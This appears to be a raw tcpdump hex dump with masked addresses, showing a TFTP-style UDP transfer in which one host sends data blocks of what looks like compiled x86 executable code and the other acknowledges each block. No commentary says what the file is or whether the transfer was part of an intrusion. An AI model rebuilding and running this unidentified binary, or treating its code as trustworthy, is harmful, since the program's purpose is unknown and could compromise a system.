07:03:56.542964 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c519 0000 8011 5b44 800a 097f E.........[D....
0x0010 800a 10dc 0f71 0645 000c cf9b 0004 0011 .....q.E........
0x0020 5010 4470 e833 0000 0204 05b4 0101 P.Dp.3........
07:03:56.547186 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ac9 0000 7f11 0495 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c eebb 0003 0012 .....E.q........
0x0020 00c7 8608 0001 0004 0000 0056 ff15 4c10 ...........V..L.
0x0030 0001 33c0 5f5e 5d5b 59c2 0800 66ff 8614 ..3._^][Y...f...
0x0040 0001 0057 56e8 b7fb ffff 8be8 33c0 3be8 ...WV.......3.;.
0x0050 7509 668b 470e 50ff d3eb d039 8628 0001 u.f.G.P....9.(..
0x0060 0089 860c 0001 0089 8608 0001 0075 0ac7 .............u..
0x0070 8600 0001 00e8 0300 008b 8e04 0001 003b ...............;
0x0080 c874 158b 8600 0001 0050 5051 ff35 a060 .t.......PPQ.5.`
0x0090 0001 ff15 5411 0001 8b86 1c00 0100 3b47 ....T.........;G
0x00a0 2073 1766 8b47 0e50 ffd3 c786 3000 0100 .s.f.G.P....0...
0x00b0 0100 0000 eb04 8b6c 2410 85ed 0f84 69ff .......l$.....i.
0x00c0 ffff 668b 470e 50ff d383 c70c 6a10 576a ..f.G.P.....j.Wj
0x00d0 00ff b620 0001 008d 4638 50ff 7620 ff15 ........F8P.v...
0x00e0 3011 0001 83f8 ff0f 853e ffff ffff 15f8 0........>......
0x00f0 1000 0185 f674 0756 ff15 4c10 0001 6a01 .....t.V..L...j.
0x0100 58e9 2eff ffff 558b ec51 8365 fc00 538b X.....U..Q.e..S.
0x0110 1d0c 1100 0156 8b75 0857 8b7d 0c6a 038b .....V.u.W.}.j..
0x0120 8618 0001 0089 4720 ffd3 6639 4734 752a ......G...f9G4u*
0x0130 668b 8614 0001 0066 4050 ffd3 6639 4736 f......f@P..f9G6
0x0140 7518 66ff 8614 0001 0033 dbc7 45fc 0100 u.f......3..E...
0x0150 0000 899e 0800 0100 eb63 6a03 ffd3 6639 .........cj...f9
0x0160 4734 7557 668b 8614 0001 0050 ffd3 6639 G4uWf......P..f9
0x0170 4736 7547 8b1d 0411 0001 6a04 ffd3 6689 G6uG......j...f.
0x0180 4638 668b 8614 0001 0050 ffd3 83c7 0c6a F8f......P.....j
0x0190 1066 8946 3a57 6a00 8d46 386a 0450 ff76 .f.F:Wj..F8j.P.v
0x01a0 20ff 1530 1100 0183 f8ff 0f85 2301 0000 ...0........#...
0x01b0 ff15 f810 0001 e918 0100 0033 db39 5dfc ...........3.9].
0x01c0 7442 8d45 0c50 8b47 2cff b630 0001 0083 tB.E.P.G,..0....
0x01d0 e804 508d 4738 50ff b62c 0001 00e8 7809 ..P.G8P..,....x.
0x01e0 0000 395d fc89 4508 741a 3bc3 7d29 536a ..9]..E.t.;.})Sj
0x01f0 03ff 7708 8d87 f1ff 0000 83c7 0c50 57e8 ..w..........PW.
0x0200 26f5 ffff 3bf3 7407 56ff 154c 1000 016a &...;.t.V..L...j
0x0210 0158 e9c5 0000 008b 472c 83e8 043b 4720 .X......G,...;G.
07:03:56.548131 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51a 0000 8011 5b43 800a 097f E.........[C....
0x0010 800a 10dc 0f71 0645 000c cf9a 0004 0012 .....q.E........
0x0020 5018 4470 c7ee 0000 0d0a 2843 2920 P.Dp......(C).
07:03:56.548143 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51a 0000 8011 5b43 800a 097f E.........[C....
0x0010 800a 10dc 0f71 0645 000c cf9a 0004 0012 .....q.E........
0x0020 5018 4470 c7ee 0000 0d0a 2843 2920 P.Dp......(C).
07:03:56.552316 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1aca 0000 7f11 0494 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 7f65 0003 0013 .....E.q...e....
0x0020 0f87 ad00 0000 8b1d 0411 0001 6a04 ffd3 ............j...
0x0030 6689 4638 668b 8614 0001 0050 ffd3 6689 f.F8f......P..f.
0x0040 463a 8d47 0c6a 1033 db50 538d 4638 6a04 F:.G.j.3.PS.F8j.
0x0050 50ff 7620 ff15 3011 0001 8945 088b 8604 P.v...0....E....
0x0060 0001 003b c374 2d39 9e28 0001 0089 9e0c ...;.t-9.(......
0x0070 0001 0075 0ac7 8600 0001 00e8 0300 008b ...u............
0x0080 8e00 0001 0051 5150 ff35 a060 0001 ff15 .....QQP.5.`....
0x0090 5411 0001 837d 08ff 7506 ff15 f810 0001 T....}..u.......
0x00a0 8b47 2c83 e804 3b47 2073 288b 8604 0001 .G,...;G.s(.....
0x00b0 003b c374 0e53 50ff 35a0 6000 01ff 1558 .;.t.SP.5.`....X
0x00c0 1100 0189 9e04 0001 00c7 8608 0001 0004 ................
0x00d0 0000 0056 ff15 4c10 0001 33c0 5f5e 5bc9 ...V..L...3._^[.
0x00e0 c208 0033 c0c2 0800 568b 7424 08ff 7608 ...3....V.t$..v.
0x00f0 e8e0 f9ff ff85 c074 318b 4824 4974 2449 .......t1.H$It$I
0x0100 7418 4974 0c49 7522 5650 e8d4 ffff ffeb t.It.Iu"VP......
0x0110 1956 50e8 cbff ffff eb10 5650 e8e5 fdff .VP.......VP....
0x0120 ffeb 0756 50e8 54fc ffff 5ec2 0400 33c0 ...VP.T...^...3.
0x0130 3944 2408 7611 8b4c 2404 803c 0800 740c 9D$.v..L$..<..t.
0x0140 403b 4424 0872 ef33 c0c2 0800 6a01 58eb @;D$.r.3....j.X.
0x0150 f855 8bec 83ec 2853 8365 f000 8365 ec00 .U....(S.e...e..
0x0160 568b 7508 5768 baff 0000 8d5e 3653 895d V.u.Wh.....^6S.]
0x0170 e8e8 b8ff ffff 85c0 0f84 b103 0000 8bfb ................
0x0180 83c9 ff33 c068 3400 0100 f2ae f7d1 498d ...3.h4.......I.
0x0190 4419 0189 45fc ff15 9410 0001 8bd8 5985 D...E.........Y.
0x01a0 db0f 84aa 0300 00b9 0d40 0000 33c0 8bfb .........@..3...
0x01b0 f3ab ff76 10ff 1520 1100 0189 45f8 668b ...v........E.f.
0x01c0 460e 50ff 1504 1100 018b 7dfc 897d f48a F.P.......}..}..
0x01d0 0784 c074 180f bec0 50ff 1550 1100 0188 ...t....P..P....
0x01e0 078a 4701 4759 84c0 75eb 897d f48b 7dfc ..G.GY..u..}..}.
0x01f0 b850 1500 018a 178a ca3a 1075 1a84 c974 .P.......:.u...t
0x0200 128a 5701 8aca 3a50 0175 0c47 4740 4084 ..W...:P.u.GG@@.
0x0210 c975 e233 c0eb 051b c083 d8ff 85c0 7437 .u.3..........t7
07:03:56.558466 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51b 0000 8011 5b42 800a 097f E.........[B....
0x0010 800a 10dc 0f71 0645 000c cf99 0004 0013 .....q.E........
0x0020 5018 445a 4a6b 0000 6469 7220 7769 P.DZJk..dir.wi
07:03:56.558478 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51b 0000 8011 5b42 800a 097f E.........[B....
0x0010 800a 10dc 0f71 0645 000c cf99 0004 0013 .....q.E........
0x0020 5018 445a 4a6b 0000 6469 7220 7769 P.DZJk..dir.wi
07:03:56.566509 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1acb 0000 7f11 0493 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c ea18 0003 0014 .....E.q........
0x0020 8b7d fcb8 4815 0001 8a17 8aca 3a10 751a .}..H.......:.u.
0x0030 84c9 7412 8a57 018a ca3a 5001 750c 4747 ..t..W...:P.u.GG
0x0040 4040 84c9 75e2 33c0 eb05 1bc0 83d8 ff85 @@..u.3.........
0x0050 c00f 85bf 0200 008b 7de8 83c9 ff33 c08d ........}....3..
0x0060 96ad ff01 00f2 aef7 d12b f952 8bc1 8bf7 .........+.R....
0x0070 8bfa 8955 fcc1 e902 f3a5 8bc8 83e1 03f3 ...U............
0x0080 a4e8 b8f5 ffff 85c0 7507 6834 1500 01eb ........u.h4....
0x0090 5aff 75f8 68e8 5c00 01e8 5809 0000 85c0 Z.u.h.\...X.....
0x00a0 7511 ff75 f868 205d 0001 e847 0900 0085 u..u.h.]...G....
0x00b0 c074 11ff 75fc 6858 5d00 01e8 3609 0000 .t..u.hX]...6...
0x00c0 85c0 750c ff15 ac10 0001 6a00 6a02 eb50 ..u.......j.j..P
0x00d0 6808 5e00 0168 bcff 0000 ff75 fce8 7bf6 h.^..h.....u..{.
0x00e0 ffff 85c0 7509 6820 1500 016a 00eb 3168 ....u.h....j..1h
0x00f0 0080 0000 ff75 fcff 15e4 1000 0159 83f8 .....u.......Y..
0x0100 ff59 8983 2c00 0100 752c 8b35 ac10 0001 .Y..,...u,.5....
0x0110 ffd6 ff30 ff15 2c10 0001 ffd6 6a00 6a01 ...0..,.....j.j.
0x0120 8b45 08ff 7008 8d88 f1ff 0000 83c0 0c51 .E..p..........Q
0x0130 50e9 f201 0000 8b3d 8810 0001 6a02 6a00 P......=....j.j.
0x0140 50ff d78b 7508 83c4 0c83 f8ff 7412 6a00 P...u.......t.j.
0x0150 6a00 8946 24ff b32c 0001 00ff d783 c40c j..F$..,........
0x0160 83f8 ff75 148b 3dac 1000 01ff d7ff d7ff ...u..=.........
0x0170 30ff 152c 1000 01eb 3e6a 006a 026a 02ff 0..,....>j.j.j..
0x0180 152c 1100 018b f883 ffff 897d fc74 228b .,.........}.t".
0x0190 461c 6683 65da 0089 45dc 8d45 d86a 1050 F.f.e...E..E.j.P
0x01a0 5766 c745 d802 00ff 1524 1100 0185 c074 Wf.E.....$.....t
0x01b0 12ff 15f8 1000 0168 0815 0001 6a00 e957 .......h....j..W
0x01c0 0100 0053 897e 08ff 1544 1000 0189 7b20 ...S.~...D....{.
0x01d0 83c6 0c8d 7b28 8975 f8a5 a5a5 a533 ff57 ....{(.u.....3.W
0x01e0 5757 57ff 1540 1000 013b c789 83f8 ff00 WWW..@...;......
0x01f0 0074 156a 0250 ff75 fce8 b0e6 ffff 3bc7 .t.j.P.u......;.
0x0200 8983 fcff 0000 750b ff15 3810 0001 e91f ......u...8.....
0x0210 0100 0083 c318 53e8 83f6 ffff 6a01 5eff ......S.....j.^.
07:03:56.567465 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51c 0000 8011 5b41 800a 097f E.........[A....
0x0010 800a 10dc 0f71 0645 000c cf98 0004 0014 .....q.E........
0x0020 7002 4000 db07 0000 0204 05b4 0101 p.@...........
07:03:56.567477 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51c 0000 8011 5b41 800a 097f E.........[A....
0x0010 800a 10dc 0f71 0645 000c cf98 0004 0014 .....q.E........
0x0020 7002 4000 db07 0000 0204 05b4 0101 p.@...........
07:03:56.572881 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ad0 0000 7f11 048e 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 3bd9 0003 0015 .....E.q..;.....
0x0020 75fc 8975 ece8 abf6 ffff 8bd8 3bdf 0f84 u..u........;...
0x0030 fe00 0000 8dbb 2800 0100 8d43 3857 508d ......(....C8WP.
0x0040 8324 0001 0089 75f0 508b 45f4 568b 7508 .$....u.P.E.V.u.
0x0050 4050 56e8 a0f1 ffff 85c0 0f85 d200 0000 @PV.............
0x0060 3907 7411 8b46 2869 c0e8 0300 0089 8300 9.t..F(i........
0x0070 0001 00eb 0ac7 8300 0001 00e8 0300 008b ................
0x0080 8300 0001 006a 0050 50ff 7320 8d83 0400 .....j.PP.s.....
0x0090 0100 683d 2a00 0150 ff35 a060 0001 ff15 ..h=*..P.5.`....
0x00a0 7811 0001 6a01 5f89 7b24 8b46 2056 5389 x...j._.{$.F.VS.
0x00b0 8318 0001 0066 89bb 1400 0100 e840 f5ff .....f.......@..
0x00c0 ff6a 1033 c9ff 75f8 3bc1 898b 0c00 0100 .j.3..u.;.......
0x00d0 51ff b320 0001 0074 208d 4338 50ff 75fc Q......t..C8P.u.
0x00e0 ff15 3011 0001 8b8b 1c00 0100 3b4e 2073 ..0.........;N.s
0x00f0 1889 bb30 0001 00eb 1081 c6f1 ff00 0056 ...0...........V
0x0100 ff75 fcff 1530 1100 0183 f8ff 7524 ff15 .u...0......u$..
0x0110 f810 0001 eb1c 6a00 6a04 ff76 088d 86f1 ......j.j..v....
0x0120 ff00 0083 c60c 5056 e8fd efff ffeb 038b ......PV........
0x0130 5d08 85db 741b 837d f000 7407 53ff 154c ]...t..}..t.S..L
0x0140 1000 0183 7dec 0075 0853 ff15 a010 0001 ....}..u.S......
0x0150 595f 5e33 c05b c9c2 0400 558b ec83 ec28 Y_^3.[....U....(
0x0160 8365 f000 8365 ec00 5356 5768 3400 0100 .e...e..SVWh4...
0x0170 ff15 9410 0001 8bd8 5985 db0f 84d0 0300 ........Y.......
0x0180 00b9 0d40 0000 33c0 8bfb 68ba ff00 00f3 ...@..3...h.....
0x0190 ab8b 4508 8d70 3656 8975 fce8 8efb ffff ..E..p6V.u......
0x01a0 85c0 0f84 8a03 0000 8bfe 83c9 ff33 c0f2 .............3..
0x01b0 ae8b 7d08 f7d1 ff77 1049 8d74 3101 ff15 ..}....w.I.t1...
0x01c0 2011 0001 8945 e866 8b47 0e50 ff15 0411 .....E.f.G.P....
0x01d0 0001 803e 008b fe89 7df4 7425 0fbe 0750 ...>....}.t%...P
0x01e0 ff15 4c11 0001 85c0 0fbe 0759 7408 50ff ..L........Yt.P.
0x01f0 1550 1100 0159 8807 4780 3f00 75de 897d .P...Y..G.?.u..}
0x0200 f4b8 5015 0001 8bfe 8a17 8aca 3a10 751a ..P.........:.u.
0x0210 84c9 7412 8a57 018a ca3a 5001 750c 4747 ..t..W...:P.u.GG
07:03:56.573821 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51d 0000 8011 5b40 800a 097f E.........[@....
0x0010 800a 10dc 0f71 0645 000c cf97 0004 0015 .....q.E........
0x0020 7002 4000 2afe 0000 0204 05b4 0101 p.@.*.........
07:03:56.573833 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51d 0000 8011 5b40 800a 097f E.........[@....
0x0010 800a 10dc 0f71 0645 000c cf97 0004 0015 .....q.E........
0x0020 7002 4000 2afe 0000 0204 05b4 0101 p.@.*.........
07:03:56.578322 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ad4 0000 7f11 048a 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 9c65 0003 0016 .....E.q...e....
0x0020 4040 84c9 75e2 33c0 eb05 1bc0 83d8 ff85 @@..u.3.........
0x0030 c075 0cc7 8330 0001 0000 4000 00eb 3ebf .u...0....@...>.
0x0040 4815 0001 8a0e 8ac1 3a0f 751a 84c0 7412 H.......:.u...t.
0x0050 8a4e 018a c13a 4f01 750c 4646 4747 84c0 .N...:O.u.FFGG..
0x0060 75e2 33c0 eb05 1bc0 83d8 ff85 c00f 85a5 u.3.............
0x0070 0200 00c7 8330 0001 0000 8000 008b 4508 .....0........E.
0x0080 8b7d fc83 c9ff 8d90 adff 0100 33c0 f2ae .}..........3...
0x0090 f7d1 2bf9 528b c18b f78b fa89 55f8 c1e9 ..+.R.......U...
0x00a0 02f3 a58b c883 e103 f3a4 e88f f1ff ff85 ................
0x00b0 c075 0768 3415 0001 eb45 ff75 e868 205d .u.h4....E.u.h.]
0x00c0 0001 e82f 0500 0085 c00f 843d 0200 00ff .../.......=....
0x00d0 75fc 6890 5d00 01e8 1a05 0000 85c0 0f84 u.h.]...........
0x00e0 2802 0000 6808 5e00 0168 bcff 0000 ff75 (...h.^..h.....u
0x00f0 f8e8 67f2 ffff 85c0 750c 6820 1500 016a ..g.....u.h....j
0x0100 00e9 1602 0000 6880 0100 0068 0283 0000 ......h....h....
0x0110 ff75 f8ff 15e4 1000 0183 c40c 83f8 ff89 .u..............
0x0120 832c 0001 0075 178b 35ac 1000 01ff d6ff .,...u..5.......
0x0130 d6ff 30ff 152c 1000 01e9 d401 0000 33f6 ..0..,........3.
0x0140 566a 026a 02ff 152c 1100 018b f883 ffff Vj.j...,........
0x0150 897d fc75 11ff 15f8 1000 0168 0815 0001 .}.u.......h....
0x0160 56e9 b601 0000 6689 75da 8b75 086a 1066 V.....f.u..u.j.f
0x0170 c745 d802 008b 461c 8945 dc8d 45d8 5057 .E....F..E..E.PW
0x0180 ff15 2411 0001 85c0 7420 ff15 f810 0001 ..$.....t.......
0x0190 6808 1500 016a 00ff 7608 8d86 f1ff 0000 h....j..v.......
0x01a0 83c6 0c50 56e9 8301 0000 8d83 2800 0100 ...PV.......(...
0x01b0 897e 0850 8d43 3850 8d83 2400 0100 508b .~.P.C8P..$...P.
0x01c0 45f4 406a 0250 56e8 2cee ffff 85c0 0f85 E.@j.PV.,.......
0x01d0 5e01 0000 53ff 1544 1000 0189 7b20 83c6 ^...S..D....{...
0x01e0 0c8d 7b28 8975 e8a5 a5a5 a533 f656 5656 ..{(.u.....3.VVV
0x01f0 56ff 1540 1000 013b c689 83f8 ff00 0074 V..@...;.......t
0x0200 176a 025f 5750 ff75 fce8 a0e2 ffff 3bc6 .j._WP.u......;.
0x0210 8983 fcff 0000 750b ff15 3810 0001 e90f ......u...8.....
07:03:56.579239 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51e 0000 8011 5b3f 800a 097f E.........[?....
0x0010 800a 10dc 0f71 0645 000c cf96 0004 0016 .....q.E........
0x0020 7002 4000 45ee 0000 0204 05b4 0101 p.@.E.........
07:03:56.579251 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51e 0000 8011 5b3f 800a 097f E.........[?....
0x0010 800a 10dc 0f71 0645 000c cf96 0004 0016 .....q.E........
0x0020 7002 4000 45ee 0000 0204 05b4 0101 p.@.E.........
07:03:56.583628 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ad7 0000 7f11 0487 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 422c 0003 0017 .....E.q..B,....
0x0020 0100 0083 c318 53e8 73f2 ffff ff75 fcc7 ......S.s....u..
0x0030 45ec 0100 0000 e89a f2ff ff8b d83b de0f E............;..
0x0040 84ed 0000 0033 f6c7 45f0 0100 0000 39b3 .....3..E.....9.
0x0050 2800 0100 7414 8b45 088b 4028 69c0 e803 (...t..E..@(i...
0x0060 0000 8983 0000 0100 eb0a c783 0000 0100 ................
0x0070 e803 0000 8b83 0000 0100 5650 50ff 7320 ..........VPP.s.
0x0080 8d83 0400 0100 683d 2a00 0150 ff35 a060 ......h=*..P.5.`
0x0090 0001 ff15 7811 0001 8b45 088b 8b24 0001 ....x....E...$..
0x00a0 0089 7b24 3bce 8b40 2089 8318 0001 008d ..{$;..@........
0x00b0 8324 0001 0074 0a89 8b20 0001 0089 30eb .$...t........0.
0x00c0 248b 3504 1100 016a 045f 57ff d666 8943 $.5....j._W..f.C
0x00d0 3866 8b83 1400 0100 50ff d666 8943 3a89 8f......P..f.C:.
0x00e0 bb20 0001 006a 108d 4338 ff75 e86a 00ff .....j..C8.u.j..
0x00f0 b320 0001 0050 ff75 fcff 1530 1100 0183 .....P.u...0....
0x0100 f8ff 752e ff15 f810 0001 eb26 ff15 ac10 ..u........&....
0x0110 0001 6a00 6a02 eb04 6a00 6a04 8b45 08ff ..j.j...j.j..E..
0x0120 7008 8d88 f1ff 0000 83c0 0c51 50e8 f8eb p..........QP...
0x0130 ffff 85db 741b 837d f000 7407 53ff 154c ....t..}..t.S..L
0x0140 1000 0183 7dec 0075 0853 ff15 a010 0001 ....}..u.S......
0x0150 595f 5e33 c05b c9c2 0400 558b ecb8 70ff Y_^3.[....U...p.
0x0160 0100 e8f7 0200 0081 7d14 0080 0000 5657 ........}.....VW
0x0170 7508 ff75 10ff 750c eb38 8b55 0c33 c933 u..u..u..8.U.3.3
0x0180 f639 4d10 7e2a 8b7d 1880 3f0d 750b 803c .9M.~*.}..?.u..<
0x0190 1100 7505 8027 00eb 118a 0411 8884 3590 ..u..'........5.
0x01a0 00fe ff46 3c0d 7502 8807 413b 4d10 7cd9 ...F<.u...A;M.|.
0x01b0 5652 ff75 08ff 15e8 1000 018b f883 c40c VR.u............
0x01c0 83ff ff75 128b 35ac 1000 01ff d6ff d6ff ...u..5.........
0x01d0 30ff 152c 1000 018b c75f 5ec9 c214 0055 0..,....._^....U
0x01e0 8bec 83ec 108d 45f0 5333 db50 683f 000f ......E.S3.Ph?..
0x01f0 0053 688c 1300 0168 0200 0080 895d fcff .Sh....h.....]..
0x0200 1500 1000 013b c374 0dff 1538 1000 0133 .....;.t...8...3
0x0210 c0e9 1701 0000 381d 085e 0001 5756 8b35 ......8..^..WV.5
07:03:56.589740 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51f 0000 8011 5b3e 800a 097f E.........[>....
0x0010 800a 10dc 0f71 0645 000c cf95 0004 0017 .....q.E........
0x0020 7002 4000 4df4 0000 0204 05b4 0101 p.@.M.........
07:03:56.589753 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c51f 0000 8011 5b3e 800a 097f E.........[>....
0x0010 800a 10dc 0f71 0645 000c cf95 0004 0017 .....q.E........
0x0020 7002 4000 4df4 0000 0204 05b4 0101 p.@.M.........
07:03:56.593790 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ade 0000 7f11 0480 800a 10dc E...............
0x0010 800a 097f 0645 0f71 020c 7f88 0003 0018 .....E.q........
0x0020 0810 0001 7536 8d45 f8c7 45f8 f401 0000 ....u6.E..E.....
0x0030 508d 45f4 6808 5e00 0150 5368 4813 0001 P.E.h.^..PShH...
0x0040 ff75 f0ff d63b c374 08ff 1538 1000 01eb .u...;.t...8....
0x0050 0b6a 0158 3945 f475 0389 45fc 6a32 8d45 .j.X9E.u..E.j2.E
0x0060 f85f 508d 45f4 68e8 5c00 0150 5368 dc12 ._P.E.h.\..PSh..
0x0070 0001 ff75 f089 7df8 ffd6 3bc3 7408 ff15 ...u..}...;.t...
0x0080 3810 0001 eb09 837d f401 7503 ff45 fc8d 8......}..u..E..
0x0090 45f8 897d f850 8d45 f468 205d 0001 5053 E..}.P.E.h.]..PS
0x00a0 68b4 1200 01ff 75f0 ffd6 3bc3 7408 ff15 h.....u...;.t...
0x00b0 3810 0001 eb09 837d f401 7503 ff45 fc8d 8......}..u..E..
0x00c0 45f8 897d f850 8d45 f468 585d 0001 5053 E..}.P.E.hX]..PS
0x00d0 6888 1200 01ff 75f0 ffd6 3bc3 7408 ff15 h.....u...;.t...
0x00e0 3810 0001 eb09 837d f401 7503 ff45 fc8d 8......}..u..E..
0x00f0 45f8 897d f850 8d45 f468 905d 0001 5053 E..}.P.E.h.]..PS
0x0100 685c 1200 01ff 75f0 ffd6 3bc3 7408 ff15 h\....u...;.t...
0x0110 3810 0001 eb09 837d f401 7503 ff45 fcff 8......}..u..E..
0x0120 75f0 ff15 0c10 0001 8b45 fc5e 5f5b c9c3 u........E.^_[..
0x0130 81ec f401 0000 803d 085e 0001 0053 5556 .......=.^...SUV
0x0140 57bd f401 0000 bb08 5e00 0175 1055 6804 W.......^..u.Uh.
0x0150 1400 0153 ff15 4811 0001 83c4 0c8d 4424 ...S..H.......D$
0x0160 1055 5053 ff15 2010 0001 85c0 7504 6a57 .UPS........u.jW
0x0170 eb78 8bc8 8d74 2410 8bfb 83ca ffc1 e902 .x...t$.........
0x0180 f3a5 8bc8 33c0 83e1 03f3 a48b fb8b caf2 ....3...........
0x0190 aef7 d149 80b9 075e 0001 2f8d 8107 5e00 ...I...^../...^.
0x01a0 0175 03c6 005c 8038 5c74 2c3b cd73 28bf .u...\.8\t,;.s(.
0x01b0 5c15 0001 8bca 33c0 f2ae f7d1 2bf9 8bf7 \.....3.....+...
0x01c0 8be9 8bfb 8bca f2ae 8bcd 4fc1 e902 f3a5 ..........O.....
0x01d0 8bcd 83e1 03f3 a48b fb8b ca33 c06a 01f2 ...........3.j..
0x01e0 aef7 d149 890d fc5f 0001 585f 5e5d 5b81 ...I..._..X_^][.
0x01f0 c4f4 0100 00c3 558b ec56 8b75 0857 8a06 ......U..V.u.W..
0x0200 84c0 744a 3c2a 741c 3c3f 740b 8b4d 0c3a ..tJ<*t.<?t..M.:
0x0210 0175 3241 51eb 0a8b 450c 8038 0074 2640 .u2AQ...E..8.t&@
07:03:56.594754 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c520 0000 8011 5b3d 800a 097f E.........[=....
0x0010 800a 10dc 0f71 0645 000c cf94 0004 0018 .....q.E........
0x0020 7002 4000 948f 0000 0204 05b4 0101 p.@...........
07:03:56.594765 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c520 0000 8011 5b3d 800a 097f E.........[=....
0x0010 800a 10dc 0f71 0645 000c cf94 0004 0018 .....q.E........
0x0020 7002 4000 948f 0000 0204 05b4 0101 p.@...........
07:03:56.599164 XX.XX.XX.220.707 > XXX.X.XX.120.3912: . ack 514 win 17007 (DF)
0x0000 4500 0028 1ae3 4000 7f06 c67d 800a 10dc E..(..@....}....
0x0010 800a 097f 02c3 0f48 1422 b2fe 0a1f 133b .......H.".....;
0x0020 5010 426f 5c70 0000 0204 05b4 0101 P.Bo\p........
07:03:56.601485 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ae5 0000 7f11 0479 800a 10dc E..........y....
0x0010 800a 097f 0645 0f71 020c 3bad 0003 0019 .....E.q..;.....
0x0020 5046 eb17 8b7d 0c8d 4601 5750 e8c5 ffff PF...}..F.WP....
0x0030 ff85 c075 1438 0774 0c47 5756 e8b5 ffff ...u.8.t.GWV....
0x0040 ff85 c075 0433 c0eb 0f6a 0158 eb0a 8b4d ...u.3...j.X...M
0x0050 0c33 c038 010f 94c0 5f5e 5dc2 0800 ff25 .3.8...._^]....%
0x0060 6c11 0001 ff25 3811 0001 ff25 3c11 0001 l....%8....%<...
0x0070 558b ec6a ff68 6015 0001 68f0 3b00 0164 U..j.h`...h.;..d
0x0080 a100 0000 0050 6489 2500 0000 0083 c4e0 .....Pd.%.......
0x0090 5356 5789 65e8 c745 fc00 0000 006a 01ff SVW.e..E.....j..
0x00a0 15c4 1000 0183 c404 c705 d062 0001 ffff ...........b....
0x00b0 ffff c705 d462 0001 ffff ffff ff15 c810 .....b..........
0x00c0 0001 8b0d 0c60 0001 8908 ff15 cc10 0001 .....`..........
0x00d0 8b15 0860 0001 8910 a1d0 1000 018b 0889 ...`............
0x00e0 0dd8 6200 01e8 1601 0000 a1c4 5d00 0185 ..b.........]...
0x00f0 c075 0e68 d03b 0001 ff15 8410 0001 83c4 .u.h.;..........
0x0100 04e8 ca00 0000 680c 5000 0168 0850 0001 ......h.P..h.P..
0x0110 e8b1 0000 0083 c408 8b15 0460 0001 8955 ...........`...U
0x0120 d88d 45d8 508b 0d00 6000 0151 8d55 e052 ..E.P...`..Q.U.R
0x0130 8d45 d450 8d4d e451 ff15 8010 0001 83c4 .E.P.M.Q........
0x0140 1468 0450 0001 6800 5000 01e8 7600 0000 .h.P..h.P...v...
0x0150 83c4 08ff 15d8 1000 018b 55e0 8910 8b45 ..........U....E
0x0160 e050 8b4d d451 8b55 e452 e821 daff ff83 .P.M.Q.U.R.!....
0x0170 c40c 8945 dc50 ff15 ec10 0001 eb22 8b45 ...E.P.......".E
0x0180 ec8b 088b 0989 4dd0 5051 e831 0000 0083 ......M.PQ.1....
0x0190 c408 c38b 65e8 8b55 d052 ff15 e010 0001 ....e..U.R......
0x01a0 83c4 04c7 45fc ffff ffff 8b4d f064 890d ....E......M.d..
0x01b0 0000 0000 5f5e 5b8b e55d c390 9090 9090 ...._^[..]......
0x01c0 ff25 dc10 0001 ff25 7c10 0001 cccc cccc .%.....%|.......
0x01d0 6800 0003 0068 0000 0100 e837 0000 0083 h....h.....7....
0x01e0 c408 c390 9090 9090 9090 9090 9090 9090 ................
0x01f0 33c0 c390 9090 9090 9090 9090 9090 9090 3...............
0x0200 c390 9090 9090 9090 9090 9090 9090 9090 ................
0x0210 ff25 c010 0001 ff25 bc10 0001 7c3d 0000 .%.....%....|=..
07:03:56.602401 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c521 0000 8011 5b3c 800a 097f E....!....[<....
0x0010 800a 10dc 0f71 0645 000c cf93 0004 0019 .....q.E........
0x0020 7002 4000 eef6 0000 0204 05b4 0101 p.@...........
07:03:56.602413 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c521 0000 8011 5b3c 800a 097f E....!....[<....
0x0010 800a 10dc 0f71 0645 000c cf93 0004 0019 .....q.E........
0x0020 7002 4000 eef6 0000 0204 05b4 0101 p.@...........
07:03:56.606888 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1ae9 0000 7f11 0475 800a 10dc E..........u....
0x0010 800a 097f 0645 0f71 020c 6a3e 0003 001a .....E.q..j>....
0x0020 ffff ffff ffff ffff 603e 0000 f410 0000 ........`>......
